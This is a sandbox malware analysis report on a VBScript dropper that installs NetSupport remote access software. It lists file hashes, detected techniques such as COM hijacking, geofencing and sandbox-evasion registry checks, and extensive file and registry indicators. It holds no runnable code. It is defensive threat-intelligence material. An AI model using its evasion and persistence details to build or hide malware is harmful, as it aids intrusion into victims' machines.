Analysis
-
max time kernel
149s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-11-2024 01:29
Static task
static1
Behavioral task
behavioral1
Sample
Pyyidau.vbs
Resource
win7-20241010-en
windows7-x64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
Pyyidau.vbs
Resource
win10v2004-20241007-en
windows10-2004-x64
29 signatures
150 seconds
Behavioral task
behavioral3
Sample
Pyyidau.vbs
Resource
win11-20241007-en
windows11-21h2-x64
28 signatures
150 seconds
General
-
Target
Pyyidau.vbs
-
Size
8.4MB
-
MD5
c1108260f7a287cb16f93c11a40fbf90
-
SHA1
8eab07aef27baae17d1ce013cce58b2b43dcaa1d
-
SHA256
484c7f54d1b5a6fbbb5cbcf0a01a3b7b9ddb77a7bfbd859cf68bb29b686db80c
-
SHA512
59d3023cc0287ff45894bbcce2175c8fda7a36b2f1687ab7b93fb49a578e38f874587bed0e3d69eff1a20deb4f20fc27c1155026bd962d007c9b0e8c028edc0c
-
SSDEEP
49152:1uld2u6UP5rpZxEeMuatPwmOI06dzq5kz9zV7AujEy4q7YcGqaLjt1yLQ+RZyBvd:+P5j
Malware Config
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Netsupport family
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2212 3616 cmd.exe 83 -
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 PID 3484 created 3444 3484 Pyyidau.vbs.exe 56 -
Blocklisted process makes network request 5 IoCs
flow pid Process 20 4636 WScript.exe 23 4636 WScript.exe 26 4636 WScript.exe 43 5044 msiexec.exe 45 5044 msiexec.exe -
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\nskbfltr.sys winst64.exe File created C:\Windows\system32\drivers\nskbfltr2.sys winst64.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\nskbfltr\ImagePath = "\\SystemRoot\\system32\\drivers\\nskbfltr.sys" MSID7E0.tmp -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation Pyyidau.vbs.exe Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation WScript.exe -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Executes dropped EXE 11 IoCs
pid Process 3484 Pyyidau.vbs.exe 2212 MSICBB1.tmp 452 MSID231.tmp 952 checkdvd.exe 3136 MSID7E0.tmp 3936 winst64.exe 4012 MSIDDBF.tmp 4796 client32.exe 5112 pcicfgui_client.exe 1548 client32.exe 4092 pcicfgui_client.exe -
Loads dropped DLL 64 IoCs
pid Process 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 3472 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 3936 winst64.exe 3136 MSID7E0.tmp 1288 MsiExec.exe 1288 MsiExec.exe 1288 MsiExec.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 4796 client32.exe 3472 MsiExec.exe 5112 pcicfgui_client.exe 5112 pcicfgui_client.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: client32.exe File opened (read-only) \??\B: client32.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "0" MSID7E0.tmp -
Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\pcimsg.dll MSID7E0.tmp File created C:\Windows\system32\client32provider.dll winst64.exe File opened for modification C:\Windows\system32\client32provider.dll winst64.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 client32.exe File created C:\Windows\SysWOW64\pcimsg.dll MSID7E0.tmp -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 5112 pcicfgui_client.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-convert-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-conio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\btn_up_grey.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\computer2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\keyboard2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nspscr.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\vccorlib140.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-time-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-string-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-errorhandling-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSM.ini msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\mfc100u.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\injlib.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pcictl.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\amberbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\header.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSToast.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCICHEK.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIIMAGE.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\HTCTL32.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\toastImageAndText.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-util-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIinv.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\redbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\StoreInvDll.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\concrt140.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\video2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pcisys.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nskbfltr.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSClientTB.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-filesystem-l1-1-0.dll msiexec.exe File opened for modification C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.ini MSID7E0.tmp File created C:\Program Files (x86)\NetSupport\NetSupport Manager\mfc100.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\VolumeControlWVI.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\msvcr100.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\Kbkwgebk_HW_U1.bin client32.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\WINSTALL.EXE msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\shfolder.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSM.LIC msiexec.exe File opened for modification C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32.ini pcicfgui_client.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\unknown.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pscrinst.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nspowershell.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-synch-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-datetime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32.upd msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\verified.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32Provider.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\vcruntime140.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-processthreads-l1-1-1.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-processthreads-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\btn_up.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\x64\gdihook5.sys msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-environment-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIRES.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nsmres.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIhtmlgen.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\DBI.EXE msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Control.kbd msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-sysinfo-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\greenbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\AudioCapture.dll msiexec.exe -
Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIC232.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC4C6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICBB1.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID192.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC83E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC8A6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC958.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEC78.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC7E9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICEA1.tmp msiexec.exe File opened for modification C:\Windows\setuperr.log MSID7E0.tmp File opened for modification C:\Windows\Installer\MSIDC65.tmp msiexec.exe File created C:\Windows\Installer\e58bbaa.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIC7D8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICB53.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC3BA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC969.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICE62.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIDDBF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC8A5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC8D9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID193.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID474.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC894.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICFBC.tmp msiexec.exe File created C:\Windows\Installer\{CBB68368-7767-4CFF-B3E5-211488346702}\ARPPRODUCTICON.exe msiexec.exe File created C:\Windows\Installer\e58bbae.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIC83D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC84F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC860.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC893.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE32E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC97B.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{CBB68368-7767-4CFF-B3E5-211488346702} msiexec.exe File opened for modification C:\Windows\Installer\MSIC7FA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC80B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC959.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC872.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC8B7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC96A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEC57.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC85F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC871.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIDD60.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC35C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC779.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC947.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC82C.tmp msiexec.exe File opened for modification C:\Windows\Installer\{CBB68368-7767-4CFF-B3E5-211488346702}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\setupact.log MSID7E0.tmp File opened for modification C:\Windows\Installer\MSIC97C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEC68.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC467.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC729.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC81C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC8B6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC7C8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC8C8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICB23.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIC883.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSID124.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 15 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pcicfgui_client.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSICBB1.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language checkdvd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cscript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSID7E0.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSIDDBF.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Pyyidau.vbs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSID231.tmp -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 client32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz client32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CTLs cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-11 = "Power saver" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-15 = "Balanced" client32.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" client32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" client32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-13 = "High performance" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CTLs cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" client32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet 